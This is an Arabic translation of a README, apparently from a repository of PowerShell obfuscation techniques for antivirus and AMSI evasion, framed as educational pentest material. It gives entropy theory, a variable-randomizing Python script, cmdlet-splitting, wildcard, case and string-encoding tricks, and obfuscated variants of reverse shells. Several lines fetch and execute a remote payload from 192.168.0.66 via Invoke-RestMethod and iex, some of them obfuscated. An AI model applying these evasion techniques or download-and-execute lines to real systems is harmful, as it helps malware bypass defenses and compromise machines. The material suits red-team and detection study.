
A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.
مجموعة من التقنيات والأمثلة والقليل من النظري لإخفاء سكربتات PowerShell يدويًا لتجاوز الكشف القائم على التوقيعات (signature-based detection)، جُمعت لأغراض تعليمية. محتويات هذا المستودع هي نتيجة بحث شخصي، بما في ذلك قراءة مواد على الإنترنت وإجراء محاولات تجربة وخطأ في المختبرات واختبارات الاختراق. لا ينبغي أن تأخذ أي شيء كأمر مسلّم به.
عرض فيديو على يوتيوب: youtube.com/watch?v=tGFdmAh_lXE
⚠️ إخلاء مسؤولية: استخدام التقنيات والمفاهيم الموصوفة في هذا المستودع للوصول غير المصرح به إلى أنظمة ليس لديك الإذن باختبارها هو أمر غير قانوني. أنت مسؤول عن أفعالك. لا تكن شريرًا.
المصطلح العلمي entropy، الذي يُعرَّف عمومًا بأنه مقياس العشوائية أو الاضطراب في نظام ما، مهم في التهرب من برامج مكافحة الفيروسات (AV). وذلك لأن البرمجيات الخبيثة غالبًا ما تحتوي على كود عشوائي للغاية ومشفّر و/أو مُرمَّز (مُخفى) لجعل تحليله وبالتالي اكتشافه أمرًا صعبًا. تستخدم منتجات مكافحة الفيروسات، ضمن طرق متعددة، تحليل الإنتروبيا لتحديد الملفات والحمولات (payloads) التي يحتمل أن تكون خبيثة.
من المهم فهم هذا المفهوم لأنه عند إخفاء الكود، يجب أن تضع في اعتبارك تباين الإنتروبيا الناتج عن التغييرات التي تختار إجراءها. كسر التوقيعات سهل، لكن إذا لم تنتبه إلى مستوى الإنتروبيا، فستكتشف أنظمة AV/EDR المتطورة الأمر.
مبدأ يجب وضعه في الاعتبار: كلما زادت الإنتروبيا، زاد احتمال أن تكون البيانات مخفية أو مشفرة، وزاد احتمال أن يكون الملف/الحمولة خبيثًا. لحسن الحظ، هناك طرق لخفضها.
قدّم Claude E. Shannon معادلة في ورقته البحثية عام 1948 A Mathematical Theory of Communication يمكن استخدامها لقياس الإنتروبيا في مجموعة بيانات. إليك تنفيذ بسيط بلغة Python لمقياس Shannon Entropy يمكنك استخدامه لقياس إنتروبيا الحمولات التي تطورها:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
يمكنك أيضًا استخدام حاسبة Shannon Entropy عبر الإنترنت، أو أداة Sigcheck.exe من Microsoft مع الخيار -a.
الأمر الناضج والأنيق قبل الانطلاق في اختبارات إخفاء قائمة على التجربة والخطأ للتوصل إلى صيغة حمولة لا يتم الإبلاغ عنها، هو تحديد الجزء أو الأجزاء في السكربت التي تحفز اكتشاف البرمجيات الخبيثة. خاصة في السكربتات القصيرة مثل أوامر C2، قد تتمكن من إجراء تغييرات طفيفة وتختفي من الرادار فورًا.
أداة رائعة لتحديد مثل هذه المشغلات هي AMSITrigger. إليك مثال استخدام مع ملف يحتوي على سكربت خبيث. المنطقة الحمراء تشير إلى الجزء الذي يجب تطبيق الإخفاء عليه:

يمكنك أيضًا تحديد المشغلات يدويًا عن طريق تنفيذ السكربت جزءًا جزءًا.
عند إخفاء السكربتات، يجب أن تكون أولوية استبدال أسماء المتغيرات/الأصناف/الدوال بأسماء عشوائية. بهذه الطريقة، وبالاقتران مع تقنيات أخرى، ستتمكن من تجاوز الكشف بسهولة. لكن يجب أن تضع في اعتبارك الإنتروبيا للحمولات التي تطورها. لاحظ سكربت الـ reverse shell القياسي التالي الذي يتم اكتشافه عمومًا بواسطة معظم إن لم يكن كل برامج مكافحة الفيروسات:

الآن لاحظ النسخة المخفية التالية:

في هذه النسخة، استُبدلت جميع أسماء المتغيرات بأسماء عشوائية بطول 32 محرفًا. كما استبدلت (pwd).Path بـ $(gl). الحمولة لديها Shannon entropy تبلغ 4.96. وقت كتابة هذا، لا يتم اكتشافها بواسطة MS Defender ومجموعة من المنتجات الأخرى:

الآن لاحظ هذه النسخة:

هذه النسخة أيضًا استُبدلت فيها جميع أسماء المتغيرات، لكن هذه المرة بأسماء تتكون من عدد x من محارف 'f'، مما يؤدي إلى انخفاض كبير في إنتروبيا الحمولة. كما استبدلت (pwd).Path بـ $(gl) هنا أيضًا. ومرة أخرى، وقت كتابة هذا، لا يتم اكتشافها بواسطة MS Defender. الحمولة لديها Shannon entropy تبلغ 0.76.

⚡ كلتا النسختين تتجاوزان برامج مكافحة الفيروسات الشائعة، لكن النسخة الثانية لديها إنتروبيا أقل وستحظى على الأرجح بفرصة أفضل عند معالجتها بواسطة أنظمة EDR ومحركات مكافحة البرمجيات الخبيثة المتطورة الأخرى. ⚠️ أنا لا أقول إن الأداء الأفضل للنسخة الثانية من الحمولة في هذا المثال يعود بالتأكيد إلى مستوى الإنتروبيا (لا يمكنني معرفة ذلك فعلًا، فقد يكون السبب هو الطول أو كلاهما أو من يعلم ماذا)، لكنه جانب مهم يجب وضعه في الاعتبار عند إخفاء الأشياء، وهذا المثال يهدف إلى توضيح هذا المفهوم.
يمكنك استخدام السكربت أدناه لعشوائية أسماء المتغيرات في سكربت PowerShell. ⚠️ السكربت ليس مثاليًا! إذا شغّلته على سكربتات PowerShell كبيرة ومعقدة فقد يكسر وظائفها عن طريق استبدال أشياء لا ينبغي استبدالها. استخدمه بحذر وكن منتبهًا.
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
من الممتع والسهل للغاية استبدال قيم $True و$False بمكافئات منطقية أخرى، وهي غير محدودة حرفيًا. خاصة إذا حددت مشغل الكشف في حمولة معينة وكان يتضمن قيمة $True أو $False، فستتمكن غالبًا من تجاوز الكشف بمجرد استبدالها ببديل منطقي. جميع الأمثلة أدناه تُقيَّم إلى True. يمكنك عكسها إلى False بمجرد إضافة علامة تعجب قبل العبارة (مثلًا: ![bool]0x01):
0 أو Null أو empty string سيعيد True:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True أيضًا:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True (وهذا بديهي):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True من سمات كائن:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True أو False:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
يمكنك إخفاء الأوامر cmdlets عن طريق إضافة علامات اقتباس مفردة و/أو مزدوجة بين محارفها، طالما أن ذلك ليس في البداية. إنها فعّالة للغاية! على سبيل المثال، يمكن استبدال العبارة iex "pwd" بـ:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
هذا الأسلوب متسخ بعض الشيء لكنه قد يكون مفيدًا. في طرفية Windows CMD، من الممكن إلحاق رمز الإقحام (^) بين محارف الأمر وسيظل يُفسَّر بشكل طبيعي. في سكربت PowerShell، إحدى طرق الاستفادة من ذلك هي:
cmd /c "who^am^i"

خدعة رائعة حقًا أراني إياها صديقي والهاكر العظيم Karol Musolff (@kmusolff). يمكنك استخدام Get-Command (أو gcm) لاسترداد اسم (سلسلة نصية) أي أمر، بما في ذلك جميع الملفات غير التابعة لـ PowerShell في متغير البيئة Path ($env:Path) باستخدام أحرف البدل (wildcards). يمكنك بعد ذلك تشغيلها باستخدام عامل التشغيل &. على سبيل المثال، السطر التالي:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
يمكن إخفاؤه إلى:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
أو حتى أفضل، هذا الذي لديه قيمة Shannon entropy أقل:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
هناك حلقات معينة يمكن استبدالها بأنواع حلقات أخرى أو بدوال. على سبيل المثال، حلقة While ($True){ # some code } يمكن استبدالها بما يلي:
حلقة For لا نهائية
For (;;) { # some code }
حلقة Do-While
Do { # some code } While ($true)
حلقة Do-Until
Do { # some code } Until (1 -eq 2)
دالة عودية (recursive)
function runToInfinity {
# do something;
runToInfinity;
}
يمكنك تجربة إضافة معاملات إلى أمر cmdlet. على سبيل المثال، السطر التالي:
iex "whoami"
يمكن توسيعه إلى:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
يمكنك بالطبع تجربة العكس.
يمكنك "تلويث" سكربت بمتغيرات ودوال عشوائية. افترض أن السكربت التالي خبيث:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
قد تتمكن من كسر توقيعه بفعل شيء مثل:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
يمكنك دائمًا البحث عن أوامر أو حتى كتل كود كاملة في سكربت يمكنك استبدالها بمكونات ذات وظائف مكافئة/مشابهة. في سكربت الـ reverse shell الكلاسيكي التالي، يُستخدم الأمر pwd لاسترداد دليل العمل الحالي وإعادة بناء قيمة موجه الأوامر (prompt) للصدفة:

يمكن استبدال الجزء (pwd).Path بالسكربت الصغير الغريب وغير التقليدي التالي، وعلى الرغم من أنه يتضمن حتى pwd فإنه يخدم غرضنا في كسر التوقيع مع الحفاظ على وظائف السكربت:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
هناك بالطبع بدائل أبسط لـ pwd مثل gl وget-location وcmd.exe /c chdir قد تفي بالغرض، خاصة عند دمجها مع تقنيات أخرى.
لا حدود لما يمكن فعله بالسلاسل النصية. تجد أدناه بعض المفاهيم المثيرة للاهتمام. تستخدم الأمثلة السلسلة النصية 'malware':
على حساب إضافة بضعة أسطر جديدة، يمكنك تحويل سلسلة نصية إلى here-string.
هذا:
$x = 'echo malware';
iex $x;
مطابق لـ:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
أمر مباشر وتقليدي:
'mal' + 'w' + 'ar' + 'e'
أضف القيمة المطلوبة بين سلسلة نصية غير ذات صلة واستخدم substring() لاستخراجها بناءً على مؤشرات البداية والنهاية:
'xxxmalwarexxx'.Substring(3,7)
أنشئ سلسلة نصية غير مفيدة واستبدلها بالقيمة المطلوبة عبر مطابقة regex:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
قم بترميز السلسلة النصية وفك تشفيرها داخل السكربت:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"
هذا فقط لتبدأ به. يُستكمل لاحقًا...
قد ينجح إخفاء سكربت بمجرد إلحاق تعليقات هنا وهناك.
على سبيل المثال، يمكن إخفاء أمر reverse shell هكذا:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> في مواضع مختلفة)
هذا لن ينجح فقط، بل سيخفض أيضًا قيمة Shannon entropy للحمولة (بشرط ألا تستخدم تعليقات عشوائية معقدة).
هناك سلاسل نصية شبيهة بالبرمجيات الخبيثة تحفز AMSI فورًا، ويجب أن تكون من الأولويات استبدالها عند إخفاء السكربتات. انظر إلى هذا:

فقط بكتابة السلسلة النصية 'invoke-mimikatz' في الطرفية يصاب AMSI بانهيار (السكربت غير حاضر/محمَّل حتى).
قد توجد هذه السلاسل النصية في التعليقات أيضًا، لذا من الجيد إزالتها، خاصة من الموارد مفتوحة المصدر التي تحصل عليها من الإنترنت (مثلًا: Invoke-Mimikatz.ps1 من GitHub).
*بشكل عام، إزالة التعليقات فكرة جيدة. كان هذا مجرد مثال.
ربما أقدم خدعة في الكتاب. عشوائية حالة الأحرف في الأوامر cmdlets والمعاملات قد تساعد:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
أحيانًا قد ينجح مجرد نقل المتغيرات والأصناف إلى مواقع مختلفة، خاصة إذا كنت قد وجدت مشغل الكشف وكان يتضمن تعريف متغير يمكن أن يحدث في مكان آخر، مثل بداية السكربت.
أحيانًا، من الممكن تحقيق التهرب من برامج مكافحة الفيروسات بمجرد تنفيذ سكربت خبيث سطرًا بسطر. قد يكون هذا بالطبع أمرًا صعب التحقيق في ظل الظروف. إذا جربت ذلك، فانتبه إلى كتل السكربت التي يجب تنفيذها كوحدة واحدة (مثل: الحلقات، كتل try-catch، العبارات الشرطية، تعريفات الدوال، إلخ). لاختبار ذلك، يمكنك أخذ سكربت reverse shell شائع في PowerShell (بدون تطبيق أي إخفاء) وتنفيذه سطرًا بسطر. هل يتم الإبلاغ عنه؟ ;)